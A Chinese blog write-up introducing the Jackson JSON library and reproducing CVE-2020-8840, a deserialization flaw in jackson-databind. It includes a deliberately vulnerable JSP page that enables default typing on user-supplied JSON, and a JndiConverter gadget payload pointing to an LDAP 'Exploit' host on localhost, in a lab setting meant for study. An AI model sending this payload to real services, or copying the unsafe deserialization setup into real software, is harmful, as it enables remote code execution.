jackson介绍

Jackson是一个能够将java对象序列化为JSON字符串,也能够将JSON字符串反序列化为java对象的框架。是基于Java平台的一套数据处理工具,被称为”最好的Java Json解析器”。它可以使我们高效、简便的处理json字符串。

序列化

序列化函数为databind.ObjectMapper。

当Jackson开启某些配置时,会允许开发者在反序列化时指定要还原的类,过程中调用其构造方法setter方法或某些特殊的getter方法,当这些方法中存在一些危险操作时就造成了代码执行。

Jackson核心模块组成

jackson-core核心包用于提供基于"流模式"解析的相关API,它包括 JsonPaser和JsonGenerator。Jackson内部实现正是通过高性能的流模式 API的JsonGenerator和JsonParser来生成和解析json。

jackson-annotations,注解包,提供标准注解功能;

jackson-databind,数据绑定包,提供基于"对象绑定" 解析的相关 API(ObjectMapper)和"树模型" 解析的相关API(JsonNode);基于"对象绑定" 解析的API和"树模型"解析的API依赖基于"流模式"解析的API。

CVE-2020-8840

此次漏洞中攻击者可利用xbean-reflect的利用链触发JNDI远程类加载从而达到远程代码执行。

由于缺少某些xbean-reflect/JNDI黑名单类,如org.apache.xbean.propertyeditor.JndiConverter,可导致攻击者使用JNDI注入的方式实现远程代码执行

通过传进参数asText,触发setter,setAsText()函数,随后跟进toObject()函数,最终进到JndiConverter重写的toObjectImp()函数,此时出现经典的JNDI注入,text 刚好就是我们传进的asText,我们可控,从而达到命令执行目的

复现

环境搭建

CVE-2020-8840/lib at master · fairyming/CVE-2020-8840 · GitHub

安装好tomcat后导入相关库

写一个利用demo

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*,java.util.*" %>
<%@ page import="com.fasterxml.jackson.databind.ObjectMapper" %>
<%String json = request.getParameter("json");String error = null;Boolean hasjson = false;if (json == null) {StringBuilder buffer = new StringBuilder();BufferedReader reader = request.getReader();String line;while ((line = reader.readLine()) != null) {buffer.append(line);buffer.append(System.lineSeparator());}json = buffer.toString();}if (json != null && !json.isEmpty()) {hasjson = true;try {ObjectMapper mapper = new ObjectMapper();mapper.enableDefaultTyping();mapper.readValue(json, Object.class);} catch (Exception e) {System.out.println(e);error = e.toString();}} else {json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";}
%>
<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>Jackson test</title>
</head>
<body><h1>Jackson</h1><form action="" method="POST"><div><textarea style="padding: 8px;" resize="true" name="json" cols="100" rows="12" placeholder="{}"><%=json %></textarea></div><br/><input type="submit" value="JSON.parse" /></form><br/><% if (hasjson) {%><hr/><h2>Executed Done</h2><p>以下如果提示错误,实际可能攻击成功了,需要结合最终行为来判断.</p><%if (error != null) {%><pre style="padding: 8px;"><%=error %></pre><%}}%>
</body>
</html>

利用方式

访问该页面,发送payload数据

payload

["org.apache.xbean.propertyeditor.JndiConverter",{"asText":"ldap://localhost:1099/Exploit"}]

具体利用方式参考另外一篇FastJson反序列化,所不同的是发送的payload为上面这个

参考链接

[1] https://my.oschina.net/u/4583000/blog/4428907

[2] https://blog.csdn.net/xuandao_ahfengren/article/details/111071573

[3]JavaSec Jackjson反序列漏洞复现 | thonsun's blog

[4](CVE-2020-8840)FasterXML jackson-databind 远程代码执行漏洞 - Web安全 - 知汇社区

Jackson反序列化相关推荐

  1. 程序验证Jackson反序列化的规则、Jackson序列化与反序列化关键方法程序详细分析

    目录 0. 为什么要做这个分析 1. Jackson反序列化时,无参构造.有参构造的执行顺序[附程序截图] 1.1 没有无参构造时: 1.2 无参构造和有参构造方法都有的时候先走无参构造: 2. Ja ...

  2. 升级SpringCloud到Hoxton.SR3后使用Fegin出现jackson反序列化失败,源码分析,原因lombok版本升级

    关键词 Caused by: com.fasterxml.jackson.databind.exc.InvalidDefinitionException: Cannot construct insta ...

  3. jackson 反序列化string_Java 中使用Jackson反序列化

    Build.gradle: compile group: 'org.codehaus.jackson', name: 'jackson-mapper-lgpl', version: '1.9.13' ...

  4. 解决:Jackson反序列化Java内部类失败(序列化后的识别码为LinkedHashMap,而非内部类本身)

    问题描述 先看实体类: import com.fasterxml.jackson.annotation.*; import lombok.Data; import org.jeecg.common.s ...

  5. Jackson反序列化List

    1. Jackson:对象转Json ObjectMapper mapper = new ObjectMapper();//User类转JSONString json = mapper.writeVa ...

  6. Jackson 反序列化漏洞原理

    0x00 前言 Jackson 最基础的功能就是将制定的类 序列化 to json,然后json to 序列化的这样一个工具第三方库,正常情况下因为需要执行类进行转换,所以除非是故意留有后门,否则是不 ...

  7. jackson 反序列化string_java – 使用Jackson对数组进行反序列化

    我有像 JSON-RPC客户端,我无法反序列化 将json字符串传入我的java对象. 传入的json格式为: {"value":"xxxx","ty ...

  8. jackson 反序列化string_Jackson序列化和反序列化

    1.添加maven依赖 com.fasterxml.jackson.core jackson-annotations ${jackson.version} com.fasterxml.jackson. ...

  9. Rest请求使用Jackson反序列化报错,Cannot deserialize instance of `java.lang.String` out of START_OBJECT toke

    Rest接口,使用Jackson作为json转换器,后端接收请求的时候报错了,异常信息: JSON parse error: Cannot deserialize instance of `java. ...

最新文章

  1. 关于数据库与LoaderManager的联合使用,节流???。。。。。
  2. 序列变换(Lis变形)
  3. shell+ftp+中文乱码_Ftp 命令出现中文乱码问题如何解决,求指教,非常感谢
  4. matlab调用时间序列工具箱,matlab时间序列工具箱
  5. laravel 导出插件
  6. django-模板语言dtl-render
  7. JAVA 虚拟机类加载机制和字节码执行引擎
  8. stl2xml.py 代码实现了stl格式转化为xml格式
  9. ecshop最全去版权
  10. 动画图解:十大经典排序算法动画与解析,看我就够了!(配代码完全版)
  11. Touch Panel调试
  12. 虚拟局域网+思科交换机基础配置学习有图简单易懂.
  13. Java: Hook技术
  14. [转]用python来开发webgame服务端(4)
  15. sqlserver 人名_一个用来统计相同姓名人数的SQl语句_sqlserver
  16. 图片记录:2008年12月4日夜晚,暴风雪突袭烟台-上
  17. SpringBoot如何防止重复提交--use
  18. 学以致用——Java源码——抛硬币(Coin Tossing)
  19. inventor如何钣金出弧面_Inventor钣金造型教程
  20. CSS 中的 HSL 和 HSLA 与 RGB 和 RGBA

热门文章

  1. 微信小程序0.11.122100版本新功能解析
  2. FreeRTOS Heap_1、Heap_2、Heap_3、Heap_4、Heap_5的区别
  3. ubuntu 20.04 安装有道词典
  4. CSDN 编程竞赛三十一期题解
  5. 【数据结构C++邓俊辉】Chapter 2 向量
  6. round()函数在Java和MySQL中的使用
  7. Oracle学习(五) --- 视图、序列、同义词、索引
  8. linux 查看网卡是否万兆_查看linux服务器网络带宽,是千兆还是万兆
  9. Facebook,Twitter和实时聊天按钮:创建精通社交的WordPress网站
  10. 《电网技术》最新投稿经验